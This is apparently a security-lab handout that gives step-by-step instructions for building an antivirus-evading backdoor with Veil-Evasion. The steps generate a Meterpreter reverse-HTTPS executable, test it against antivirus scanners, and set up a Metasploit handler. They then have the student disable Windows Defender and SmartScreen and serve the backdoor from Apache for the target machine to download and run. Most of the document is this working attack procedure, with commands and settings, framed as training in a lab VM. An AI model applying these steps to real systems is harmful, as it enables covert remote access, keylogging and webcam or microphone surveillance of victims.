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Create backdoors with Veil-Evasion 

Veil-Evasion is an instrument designed to produce payload executables that sidestep regular antivirus solutions. 

As long as the antivirus is kept up to date, it might be able to detect malware created using Veil-Evasion. This 

wasn’t the case a few years ago.  

Notes 

• A recent version of Windows OS is required for this lab: either Windows 10 or 11 VM 

• For Network settings, students can choose Nat Network settings or bridged adapter. 

Installing Veil: 

1.  On Kali’s terminal, type: git clone https://github.com/Veil-Framework/Veil.git 

 

2. Cd Veil/ 

3. ./config/setup.sh –force --silent 
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4. sudo apt install veil 

5. Type: veil 
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Note: If you get this error, try sudo apt install wine 

 

Note: If you got this error:  ‘No module named tool’, you can use the following command to fix it: sudo apt 

update && sudo apt -y install veil && sudo /usr/share/veil/config/setup.sh --force --silent 
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6. If there is no error, you should see this menu: 

 

7. Type: list 

 

8. Evasion will generate undetectable backdoors for us. Ordnance will generate the payload for the evasion. 

It’s a helper or secondary tool. 

9. Type: use 1 
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10. There are 41 different payloads. To see all available payloads, type: list   

 

• The first part of the payload is the type of language where the evil code can be wrapped with: python, 

c, go, cs… 

• The second part of the payload is the type of the code that will be executed on the target computer. 

Meterpreter: payload designed by Metasploit. Huge framework for hacking and can do a lot of things: 

install keylogger, turn on microphone, webcam…. All of this will be run from the memory from normal 

processes on the system so it’s very hard to detect and doesn’t leave a lot of footprints. 

• The third part is the method to establish the connection rev: reverse: https: the protocol to be used to 

establish the connection. Reverse: the connection will come from the target computer to my 

computer.  

• Once the user double clicks on the backdoor, the backdoor will be connected back to me from the 

target computer. It will bypass the antivirus program because the connection is not going to go the 

target computer, it’s coming back to the hacker’s computer. It’s literally as if the target computer is 

connecting to a normal website. 

• It’s a very handy way to connect to the target computer. 

• Some of the payloads don’t follow naming patterns like : 

. It’s a payload that is going to inject other payloads. 

For example, it will inject the meterpreter payload. 
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11. Type : use 15 
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12. Split the terminal either vertically or horizontally to have another terminal. 

13. Type IP config on the second terminal to identify the IP address of the kali VM.  

14. SET LHOST 192.168.178.31 (in my case, that’s the ip address of the kali VM ). 
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15. Type: options 

 

Let’s apply some settings before generating the backdoor like that. 

16. Set LPORT 8080 

17. Set Processors 1 

18. Set sleep 6 

  

19. Type: options to see the updated options 

20. Type: generate to generate the payload 
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10 

 

21. Give a meaningful name to your backdoor: such as: rev_https_8080  

22. (To remember which payload and which port to use for this backdoor in the future, it's telling us the 

module that's used and it's telling us where the backdoor is stored.) 
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23. Copy the link of the executable: /var/lib/veil/output/compiled/rev_https_8080.exe 

24. From Kali, go to: https://antiscan.me/. It will ask you to upload a file to scan it.: 

 

  

https://antiscan.me/
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25. Due to the backdoor getting detected by the antiviruses, we are going to turn off the windows 

defender/firewall. 

 

26. Make sure to turn off all the security settings before downloading the payload: windows defender, real 

time protection and the smart screen. 
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27. Now, from Kali go to Metasploit by typing: msfconsole 

 

28. Type: use exploit/multi/handler. It will listen to open ports 
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29. Type: show options 

 

30. Type: set payload windows/meterpreter/reverse_https 

 

31. Type: set LHOST 192.168.178.31 (this is the IP address of Kali. Type the IP address that you have for Kali.) 

 

32. Type: set LPORT 8080 

 

33. Type: show options 
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34. Type: exploit 

 

35. Kali comes with a webserver. We are going to upload the backdoor there for testing, then it will be 
downloaded by the target machine. 

36. open as root, create a folder called evil-files  

37. Copy the backdoor from the executable link /var/lib/veil/output/compiled/rev_https_8080.exe created 

and paste it on: /var/www/html/  

 

Note: This step can also be done through the terminal: 

• cd /var/www/html  

• sudo mkdir evil-files 

• (If the evil-files directory is read only, you can type this command to be able to paste the backdoor there): 

• sudo chmod -R ugo+rw /var/www/html/evil-files 

38. Split the terminal; on another terminal: type: service apache2 start. It will start the Apache server 
on Kali. 

 
39. Go to the Windows device> browser> type the  IP address of kali/evil files> save>run.  Although it’s not the 

best way to get the virus but it’s just for demo purposes. 
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40. If I go to Kali, there should be one session open. In this case, it’s not open. We might probably need to try 

it on a new version of windows VM such as Windows 10. 

 

 

 


